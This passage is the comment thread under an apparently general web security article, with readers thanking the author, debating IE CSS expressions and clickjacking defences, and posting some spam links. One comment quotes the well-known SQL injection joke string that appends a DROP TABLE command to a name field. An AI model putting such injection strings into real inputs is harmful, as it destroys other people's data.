    Even though the intention of these exploits are pure evil. The principles are nothing short of genius. Whoever authored the Clickjacking technique is truly creative.

  19. 19

    Great article, ive had my fair share of problems with this.

    One those pesky hackers get in your whole server can often be wrecked.

    Thank god for backups.

  20. 20

    These are the basics of hacking and protecting a web site. Only a hacker beginner would use a techniques shown here and the methods you provided should protect a website from those kind of hackers.

    Unfortunately, hackers today use many sophisticated methods of attacking a web site and you should have said something about canonicalization and null-string attacks which are basic steps when attacking a web site if standard protection methods have been applied.

    And you have forgotten a basic rule of protecting a web site. Do not protect only your code! Using a WordPress plug-in could have a vulnerability, a WordPress theme could have a vulnerability, and so on.

  21. 21

    Brilliant post! Indeed!!

  22. 22

    The pie chart at the beginning would be useful but not so much for the colour-blind…

  23. 23

    “Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.”

    ?? what rubbish!

    jeez

  24. 24
  25. 25

    you rock – thanks for sharing and making the world a better place.

  26. 26

    That was such a great article Christian.

  27. 27

    thts one of a kind article

  28. 28

    Great article Chris. Need more like this.

  29. 29

    From the IEBlog on why IE8 dropped support for the expression() syntax:
    “Because they expose a script execution context, CSS expressions constitute a possible script injection attack vector. ”

    I’ve met Christian quite a few times now and I have to say that I don’t think I’ve ever heard him speak ‘rubbish’ when it comes to javascript and associated web technology.

  30. 30

    Amazing post Christian!
    Very helpful, I run a wordpress blog and always try to keep security tight. This is really outstanding posts for me.
    Thanks!!!

  31. 31

    Good summary.
    Regarding “Clickjacking” and the iframe trick, an easy way to protect yourself is to use a user styles sheet that makes sure that iframe opacity is == 1.
    display:none is another option (to kill most adds) ;)

  32. 32

    @Steerpike, et al

    Sorry, still call bullshit!
    from http://blogs.msdn.com/ie/archive/2008/10/16/ending-expressions.aspx
    “Why end support for expressions ?

    * To comply with standards
    o Expressions are proprietary to Internet Explorer and as such not interoperable.
    o A common use-case for expressions was to fix IE bugs or to emulate those CSS 2.1 features not yet supported by the browser, for example, min-width and max-width. We have not only worked hard to fix these bugs in IE8 but our new layout engine supports the missing features natively.
    * To improve performance
    o Expressions evaluation has a high runtime cost; web performance experts like Steve Souders recommend avoiding them to improve front-end performance
    * To reduce the browser attack surface
    o Because they expose a script execution context, CSS expressions constitute a possible script injection attack vector. “

    But you see, running scripts ANYWHERE at ANYTIME exposes a “script execution context” so that same facile argument could be used for eliminating javascript from the browser entirely! The argument is ridiculous on it’s face, and maybe Microsoft may be trying to burnish their security profile by attributing or connecting one of their development decisions to ‘raising security’

    the only ‘risk’ with CSS expressions is , obviously, you allow end users to incorporate Javascript into your site without validation, (indeed, with HTML) and we all know what THAT means!

    You should learn to call bullshit when you see it, and not curl up in someones handbag like Paris Hilton’s little puppy-

    in hindsight, I should temper my rant by pointing out that other than that moot point, the article is still a Recommended Read (or at least a link to give to someone as a general primer) Its still waaaay better than those silly ‘100 lists of Something’ posts!

  33. 33

    We were hacked by a guy in South Africa. We managed to track him down and he told us everything about how he got in and is now a tester for us to ensure sites are hacker proof!

  34. 34

    This was an excellent review of security. Thanks for sharing!

  35. 35

    Great article! :)

    BTW: Do you know if anyone used that exploit on the website of “a certain airline”? ;)

  36. 36

    Excellent article, I’ve forwarded this on to our entire dev team. Thanks!

  37. 37

    very good info and thx fr sharing

  38. 38

    “Ollie
    January 15th, 2010 2:56 am

    We were hacked by a guy in South Africa. We managed to track him down and he told us everything about how he got in and is now a tester for us to ensure sites are hacker proof!”

    That is the dumbest thing I’ve ever read- are you really that stupid or was that meant to be some kind of joke? (if it was, I apologize – as a joke, it was very droll :)

    @Thierry Koblentz
    January 14th, 2010 10:37 pm

    Good summary.
    Regarding “Clickjacking” and the iframe trick, an easy way to protect yourself is to use a user styles sheet that makes sure that iframe opacity is == 1.
    display:none is another option (to kill most adds) ;
    ^ Now YOU have to be kidding! hahahah –

  39. 39

    Clear and interesting. Thanks

  40. 40

    Very interesting numbers. I would have thought that information leaks would have been higher, although its nice to see they’re not. Would like to see browser security beefed up a little more, although I’m sure a large percentage of that goes to IE.

  41. 41

    Wow, You have finally open my eyes in respect to web security, thank you so much, I think am going to read you other articles now. Oh my God wait, I need to run an update for my wordpress now (after 8 month)… hughhh! I just realize it runs just locally but, this a good start for a good habit, right? lol

  42. 42

    I just got paranoid with this article. Nice read, really! Now, excuse me as I’m going to clean my server, eheh.

  43. 43

    Very useful article.

  44. 44

    Finally someone who knows what he’s talking about.
    Enjoyed reading your article and will definitively give this link to my students :)

  45. 45

    Great!! it’s a good learning article for me, really very good. Thanx for sharing.

  46. 46

    Great article. I would like to add – all of the URI problems can be solved with a little thing called encapsulation. Your back end code should always be separate from any user input and only communicate among other parts of the back end code to do CRUD requests. Also, basic filtering can help stop a lot of the incoming attacks as they could easily be stripped out for legitimate requests.

  47. 47

    Really interesting and scary article for an end-user.

    Good you can some tips/tricks to developers, for us…

    It will be better if you can post what are all end-user can do to protect from these kinda threats?

  48. 48

    Great, Great Article! Not only you show us insecurity problems but you go as far as giving examples of possible scenarios and how to fix them.

  49. 49

    Good point, my suggestion too =)
    Although, you must always think of security, using framework or not. Most of the frameworks don’t escape XSS by default, CSRF and DB stuff are mostly only things escaped by default ( even these aren’t if you don’t use the framework properly ).

    And, ofc, since most of the frameworks are opensourced, like someone pointed out below, there is a lot of room for new exploits as time passes.

  50. 50

    Web application security is complex but simple steps can be taken to resolve a lot of issues. Things such as input validation, output validation, good error handling. Developers need to look up organizations like OWASP and WASC and become familiar with the vulnerabilities at a high level. Thinking .NET or J2EE frameworks and SSL will save you doesn’t even come close to cutting it.

    I’d say good article, it should make developers aware and they must do some research on their own.

  51. 51

    “The remedy for XSS is to be very paranoid about anything that comes via forms or the URI.” – I totaly agree! Must be why I’m so paranoid while I code ?! Great post by the way, Thanks…

  52. 52

    I do appreciate the article.

    Thanks :)

  53. 53

    Nice article! Coincidence: just yesterday I wrote in details about SQL injection on my blog here: http://www.kkovacs.eu/2010/01/exploiting-web-development-worst-practices-sql-injection/

    With more to follow… :)

    Kristof

  54. 54

    Thanks a lot for this article! have been looking for inormation like this

  55. 55

    Very useful!

  56. 56

    Captain Oblivious

    January 21, 2010 1:48 pm

    If I had to sum up 90% of web security (or any other kind, for that matter) in one sentence, it would be:

    DON’T LET USERS WRITE YOUR APPLICATION!!!

    Think about a classic SQL injection attack: you’re letting the user write (part of) the SQL query… once you’ve done that, it’s pretty much all downhill from there.

  57. 57

    “I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.”

    This is the only part of the article that I consider to be bad advice. Use a password manager for crying out loud! If you’re changing your passwords every few weeks, they are going to be easy to remember and therefore easy to guess. Hackers are clever enough to replace ‘o’ with ‘0’ in their rainbow tables.

    Other than that an interesting and well written article.

  58. 58

    Nice article.

    I don’t know how I can contribute new information to this discussion without advertising, as it is proprietary, but we have developed a new defense for Web application attacks.

    It involves hardening every process in the Web app stack so that threats may not exploit vulnerabilities, even zero days.

  59. 59

    Since you have an interest in embedded fonts, you might be interested in the new addon for Firebug for downloading of embedded fonts. It just came out today. I haven’t had an opportunity to try it but it looks like it has some promise.

    https://addons.mozilla.org/en-US/firefox/addon/61269

  60. 60

    Thanks. This is a truly great article. Even I learned a lot from it – and I know a lot, already :-)

  61. 61

    thanks, very usefull…

  62. 62

    Great article for sure..

  63. 63

    phpBB and phpMyAdmin aren’t frameworks, they’re web applications. A framework is something like Code Igniter for PHP, Catalyst for Perl, or Django for Python. If you don’t know the difference, you probably shouldn’t be writing or installing web applications!

  64. 64

    Thanks, for sharing this article. Found gud stuff. :-)

  65. 65

    Thanks, very useful

  66. 66

    Very good article, thanks

  67. 67

    hahaha! Robert’); DROP TABLE students
    that was kool! xD

  68. 68

    Hi,

    Awesome blog. Valuable insight about problems of web security
    i found the information about web security in the foollowing link

    eccouncil.org/certification/ec-council_network_security_administrator.aspx

    Smith

  69. 69

    Excellent stuff; good reading

  70. 70

    Comprehensive writing! Cheers!!! Thanks for the sharing and I really appreciate very much!

  71. 71

    Since you have an interest in embedded fonts, you might be interested in the new addon for Firebug for downloading of embedded fonts. It just came out today. I haven’t had an opportunity to try it but it looks like it has some promise.

  72. 72

    Since you have an interest in embedded fonts, you might be interested in the new addon for Firebug for downloading of embedded fonts. It just came out today. I haven’t had an opportunity to try it but it looks like it has some promise.(http://www.sandalstrend.com)

  73. 73
  74. 74

    home surveillance cameras

    July 19, 2010 12:16 pm

    Nice post. Thanks for sharing information. Looking forward to see more from you.

  75. 75

    Courtney Huggins

    April 8, 2011 9:56 am

    Great post! Not only was the graph revealing of the vulnerabilities that websites have, but the solutions were helpful as well.

    I actually sent you an email a couple of days ago regarding website security and CodeGuard’s solutions to many of the problems listed in this post. I’d certainly be interested in talking with you about it. Thanks!

↑ Back to top